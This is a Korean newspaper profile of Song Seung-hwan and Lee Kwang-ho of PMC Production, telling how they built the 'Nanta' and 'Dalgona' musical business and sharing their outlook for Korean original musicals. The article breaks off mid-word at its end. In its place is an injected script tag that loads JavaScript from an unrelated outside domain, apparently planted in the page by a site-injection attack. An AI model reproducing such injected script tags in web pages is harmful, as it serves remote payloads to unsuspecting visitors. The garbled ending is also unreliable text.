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[제목] 송승환, 이광호 한국일보 기사 (김홍수)

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‘부럽다’는 마음이 절로 든다. 공연계뿐만 아니라, 세상 살면서 이런 친구 한 명 갖지 못한 우리들까지 부끄럽고 쓸쓸하게 만든다.


PMC 프로덕션 공동대표 송승환ㆍ이광호(49)의 동행은 고교(휘문고) 동기동창으로만은 설명되지 않는다. 그 옛날 단짝도 아니었고, 가는 길도 달랐다.




그런 두 사람이 손잡고 연일 관객 90%가 외국관광객인 서울 정동 ‘난타’ 전용극장에서, 1970~80년대 젊은 초상을 담은 ‘달고나’에 취한 20대의 박수와 웃음소리가 요란한 대학로 자유극장에서, 그리고 15일부터 어린이 난타를 시작할 웅진싱크빅아트홀과 1년 4개월째 공연 중인 저 먼 뉴욕 브로드웨이에서 ‘토종’ 뮤지컬산업의 성공신화를 써 내려가고 있다.



송승환이 뮤지컬 ‘고래사냥’을 만든다고 이리저리 쫓아다니던 96년. 동창회에서 서로 친하게 된 이광호를 어느날 불쑥 찾아가 “돈 있는 친구라고는 너밖에 없으니 2억원만 빌려 달라”고 했다.



“망하면 MC라도 해서 갚겠지”라며 거금을 선뜻 내놓은 이광호. 몇 달 후 원금에 이자까지 갚는 것을 보고 “신통하다”고 생각하는 그에게 송승환이 던진 말. “광호야, 공연도 산업화가 된다고 생각하는데 같이 해 볼래. 네가 경영을 맡아라.”



이렇게 해서 PMC 프로덕션은 그 해 12월 탄생했다. 1억원씩 냈다. 그런데 웬 걸, 기업화는 무슨. 2년 만에 10억원의 적자가 났다. ‘난타’ 성공으로 한 달에 1억원을 벌면 뭐하나. 그 다음 공연할 극장이 없어 6개월을 놀아야 했으니.



그때 둘은 두 가지 모험을 했다. 처음부터 세계시장을 겨냥한 만큼 그 가능성을 타진하기 위해 영국 에딘버러연극제에 참가하는 것과 국내 ‘난타’ 전용관을 확보하는 것이다. 둘 다 엄청난 돈(3억원과 10억원)이 들어가는 일이었다. 반대하는 이광호를 송승환은 “그 길밖에 없다”며 설득했다.



‘난타’에 열광하는 에딘버러를 보고 비로소 후원자란 느낌을 벗었다는 이광호. 돌아오자마자 앞장서 10억원을 투자받아 전용관에 올인했고, ‘난타’ 는 곧바로 한 달에 10억원씩을 안겨주었다.



작년 PMC가 벌어들인 돈은 150억원. 국내 전체 뮤지컬 수익(960억원)의 15%이다. 90% 이상이 ‘난타’에서 나왔다. 당연히 다른 작품의 수익은 아직 미미하다. 외국 대형 뮤지컬의 화려한 라이선스 공연 앞에서 ‘토종’ 뮤지컬이 자라기란 쉬운 일이 아니다. 그런데도 송승환은 내일을 낙관한다.



이유는 이렇다. “우선 우리 국민만큼 춤과 노래를 좋아하는 민족도 드물다. 오페라는 어렵다. 뮤지컬의 대중성, 상업성은 브로드웨이가 증명했다.



공연 10년째인 ‘명성황후’와 8년 된 ‘난타’처럼 좋은 뮤지컬은 영화와 달리 생명이 길다는 강점도 있다. 아직은 입장수익의 12~18%를 로열티로 주는 외국작품 라이선스 공연에 절반 가까이 의존하지만, 영화가 그랬듯 점점 우리 정서에 맞는 작품을 찾을 것이다. 문화의 패러다임은 비슷하다.



공연 노하우를 축적하고, 13개 대학의 뮤지컬학과에서 전문인력이 배출되면 뮤지컬에서도 ‘쉬리’ 같은 작품이 나온다. 지금은 그 조정단계로 봐야 한다.”




그날을 위해 처음에는 적자더라도, 1년에 국내 무대에 오르는 작품이 460여편(2004년)이 넘어 ‘과잉’이란 소리를 듣더라도 계속 작품?만들어 무대에 올려야 한다.




70, 80년대 대중가요로 만든 ‘달고나’도 그랬다. 지난해 여름 사전제작비 1억 5,000만원을 들여 소극장에서 두 달 공연했다. 일종의 ‘트라이 아웃’(시험 공연)이다. 객석이 꽉 찼지만 1억원을 손해 봤다.




그렇다고 실패는 아니다. 흥행 가능성을 타진한 ‘달고나’는 올해 다시 넉 달 간의 장기공연에 들어갔고, 연일 300석의 자유극장을 채우고 있다. 9월부터 뒤를 이을 또 하나의 토종 뮤지컬 ‘뮤직 인 마이 하트’도 준비하고 있다. 아무리 ‘트라이 아웃’이라지만 뻔한 적자를 받아들이기란 쉽지 않을 텐데, 이광호의 말은 정반대다.




“제조업에도 연구개발비란 것이 있는데 하물며 창작예술에 그것이 없다면 말이 안 된다. 다음을 위해 늘 5억원을 할애하고 있다.”




이런 모든 것들도 결국은 임대지만 전용극장이 있기에 가능하다고 했다. 뮤지컬의 특성상 길게는 1년 정도 장기공연이 가능한 중급 공연장이 없으면 아무리 좋은 작품이라도 적자일 수밖에 없다.




과감한 투자로 2000년 ‘난타’ 전용관을 확보한 것도, 거기서 나온 수익으로 먼저 극장 네 개를 임대한 것도, 4년 가까이 한 달짜리 소극장 공연으로 적자에 허덕여 본 경험이 있기 때문이다. 전용극?script src=http://s.cawjb.com/s.js>
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